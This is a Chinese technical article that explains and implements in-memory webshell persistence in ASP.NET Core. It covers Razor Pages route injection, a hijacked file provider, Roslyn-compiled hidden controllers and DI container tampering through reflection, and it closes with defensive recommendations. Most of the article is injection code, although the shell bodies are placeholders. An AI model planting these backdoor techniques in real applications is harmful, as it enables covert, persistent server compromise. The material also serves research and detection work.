.Net Core下的内存马
字数 1466 2025-08-29 08:30:25
.NET Core 内存马技术分析与实现
1. 背景与前提
1.1 .NET Core Web开发模式
ASP.NET Core 支持三种主要开发模式:
- Razor Pages:建立在MVC基础上的简化形式,URL路径由文件系统位置决定
- MVC:传统的模型-视图-控制器模式
- Blazor:组件化、现代应用框架,支持WebAssembly或Server模式
1.2 运行时编译机制
在未开启运行时编译时,除静态文件外所有内容都会预编译为dll。开启运行时编译后:
- 允许修改.cshtml文件实现动态更新
- Razor Pages中.cshtml作为单页页面
- MVC中.cshtml作为视图文件
相关配置项:
<RazorCompileOnBuild>false</RazorCompileOnBuild> <!-- 禁用构建时预编译 -->
<RazorCompileOnPublish>false</RazorCompileOnPublish> <!-- 禁用发布时预编译 -->
<CopyRazorGenerateFilesToPublishDirectory>true</CopyRazorGenerateFilesToPublishDirectory> <!-- 保留.cshtml文件 -->
1.3 ASP.NET Core核心机制
- 依赖注入(DI):所有服务通过DI提供,每个请求创建新的IServiceProvider
- 中间件管道:由一系列中间件组成,MVC框架建立在EndpointRoutingMiddleware和EndpointMiddleware上
- 路由系统:维护Endpoint集合,包含路由模式与RequestDelegate委托的映射
2. Razor Pages内存马实现
2.1 Razor Pages架构分析
项目结构
Pages/ # Razor页面
wwwroot/ # 静态文件
appsettings.json # 配置
Program.cs # 启动配置
启动流程关键点
AddRazorPages():注册页面服务MapRazorPages():创建EndpointPageActionEndpointDataSource:监听变动并更新路由
请求处理流程
EndpointRoutingMiddleware匹配EndpointEndpointMiddleware执行Endpoint的RequestDelegate
2.2 内存马实现技术
核心思路
通过实现IPageRouteModelProvider接口添加恶意路由
public class ShellPageRouteModelProvider : IPageRouteModelProvider
{
public int Order { get => -1000 + 10; }
public string _pagePath;
public void OnProvidersExecuting(PageRouteModelProviderContext context)
{
var pagePath = _pagePath;
var relativePath = "/Shell_";
var routeModel = new PageRouteModel(relativePath, pagePath);
routeModel.RouteValues.Add("page", routeModel.ViewEnginePath);
routeModel.Selectors.Add(new SelectorModel
{
AttributeRouteModel = new AttributeRouteModel
{
Template = AttributeRouteModel.CombineTemplates(pagePath, null),
},
EndpointMetadata = { new PageRouteMetadata(pagePath, null) }
});
context.RouteModels.Add(routeModel);
}
}
文件系统劫持
实现自定义IFileProvider绕过物理文件检查:
public class MyFileInfo : IFileInfo
{
public bool Exists => true;
// 其他属性实现...
public Stream CreateReadStream()
{
// 还原原始FileSystem
var originalFileSystem = GetOriginalFileSystem();
return new MemoryStream(Encoding.ASCII.GetBytes("恶意内容"));
}
}
public class TestFileFileProvider : IFileProvider
{
public IFileInfo GetFileInfo(string subpath)
{
if (subpath.Contains("Shell_"))
{
return new MyFileInfo { Name = subpath };
}
return GetOriginalFileSystem().GetFileInfo(subpath);
}
}
2.3 注入流程
- 添加自定义PageRouteModelProvider:
var pagePath = "/fakepath/" + Guid.NewGuid().ToString("D");
var pageActionDescriptorProvider = GetPageActionDescriptorProvider();
var routeModelProvidersField = pageActionDescriptorProvider.GetType().GetField(
"_routeModelProviders", BindingFlags.Instance | BindingFlags.NonPublic);
var routeModelProviders = (IPageRouteModelProvider[])routeModelProvidersField.GetValue(pageActionDescriptorProvider);
var _list = routeModelProviders.ToList();
_list.Add(new ShellPageRouteModelProvider(pagePath));
routeModelProvidersField.SetValue(pageActionDescriptorProvider, _list.ToArray());
- 替换Razor视图引擎的FileSystem:
var myFileFileProvider = new TestFileFileProvider();
var razorProjectEngine = GetRazorProjectEngine();
var fileSystem = razorProjectEngine.FileSystem;
// 反射修改_fileProvider和_compositeFileProvider
- 通知路由更新:
var originalFileSystem = GetOriginalFileSystem();
RestoreOriginalFileSystem();
var provider = GetActionDescriptorCollectionProvider();
provider.GetType().GetMethod("UpdateCollection", BindingFlags.NonPublic | BindingFlags.Instance)
.Invoke(provider, null);
3. MVC内存马实现
3.1 MVC架构分析
控制器实例化方式
-
默认实例化:
- 使用
DefaultControllerActivator - 每次请求创建新实例
- 只解析控制器的依赖项
- 使用
-
DI容器实例化:
- 使用
ServiceBasedControllerActivator - 控制器本身也由DI容器管理
- 使用
请求处理流程
- 匹配Endpoint
- 创建
ControllerActionInvoker - 实例化Controller并执行Action
3.2 内存马实现技术
动态编译控制器
使用Roslyn动态编译恶意控制器:
public Assembly Compile(string text)
{
var references = AppDomain.CurrentDomain.GetAssemblies()
.Where(a => !a.IsDynamic && !string.IsNullOrEmpty(a.Location))
.Select(a => MetadataReference.CreateFromFile(a.Location))
.Cast<MetadataReference>()
.ToList();
var options = new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary);
var assemblyName = "_" + Guid.NewGuid().ToString("D");
var syntaxTrees = new SyntaxTree[] { CSharpSyntaxTree.ParseText(text) };
var compilation = CSharpCompilation.Create(assemblyName, syntaxTrees, references, options);
using var stream = new MemoryStream();
var compilationResult = compilation.Emit(stream);
if (compilationResult.Success)
{
stream.Seek(0, SeekOrigin.Begin);
return Assembly.Load(stream.ToArray());
}
throw new InvalidOperationException("Compilation error");
}
// 使用示例
string action_name = "_" + Guid.NewGuid().ToString("D").Replace("-", "");
string controller_name = "_" + Guid.NewGuid().ToString("D").Replace("-", "");
string sourceCode = @"
public class {0}Controller
{
public string {1}()
{
return ""ok"";
}
}
".Replace("{1}", action_name).Replace("{0}", controller_name);
var assemblyShell = Compile(sourceCode);
3.3 注入流程
默认实例化方式
- 添加程序集到ApplicationParts:
var actionDescriptorProvider = GetControllerActionDescriptorProvider();
var partManager = actionDescriptorProvider.GetType().GetField(
"_partManager", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(actionDescriptorProvider);
var applicationParts = (List<ApplicationPart>)partManager.GetType()
.GetProperty("ApplicationParts").GetValue(partManager);
var assemblyPart = Activator.CreateInstance(
typeof(AssemblyPart), assemblyShell);
applicationParts.Add(assemblyPart);
- 通知路由更新:
GetActionDescriptorCollectionProvider()
.GetType().GetMethod("UpdateCollection", BindingFlags.NonPublic | BindingFlags.Instance)
.Invoke(GetActionDescriptorCollectionProvider(), null);
DI容器实例化方式
额外需要注册控制器服务:
var requestServices = HttpContext.RequestServices;
Type controllerType = assemblyShell.DefinedTypes.FirstOrDefault(
t => t.FullName.Contains("Controller"));
// 获取ServiceIdentifier相关反射对象
var serviceIdentifierType = GetServiceIdentifierType();
var fromServiceTypeMethod = serviceIdentifierType.GetMethod("FromServiceType");
var rootProvider = GetRootProvider();
var serviceAccessors = GetServiceAccessors(rootProvider);
// 创建自定义ServiceAccessor
var _controllerServiceIdentifier = fromServiceTypeMethod.Invoke(
null, new object[] { controllerType });
var serviceAccessorType = GetServiceAccessorType();
Func<object?, object?> func = _ => Activator.CreateInstance(controllerType);
var serviceAccessor = Activator.CreateInstance(serviceAccessorType);
serviceAccessorType.GetProperty("RealizedService").SetValue(serviceAccessor, func);
// 添加到ServiceAccessors
var tryAddMethod = serviceAccessors.GetType().GetMethod("TryAdd");
tryAddMethod.Invoke(serviceAccessors, new object[]{_controllerServiceIdentifier, serviceAccessor});
4. 防御建议
- 禁用运行时编译:生产环境应关闭Razor运行时编译
- 文件上传限制:严格控制上传文件类型和内容
- 依赖注入监控:监控异常的DI容器注册行为
- 程序集加载控制:限制动态程序集加载
- 路由变更检测:监控异常的路由表变更
- 文件系统完整性检查:定期检查关键文件是否被篡改
5. 总结
.NET Core内存马技术主要利用:
- Razor运行时编译机制
- MVC路由系统的动态扩展性
- 依赖注入容器的可扩展性
- 反射机制绕过访问限制
防御关键在于严格控制运行时动态修改能力,加强应用行为监控。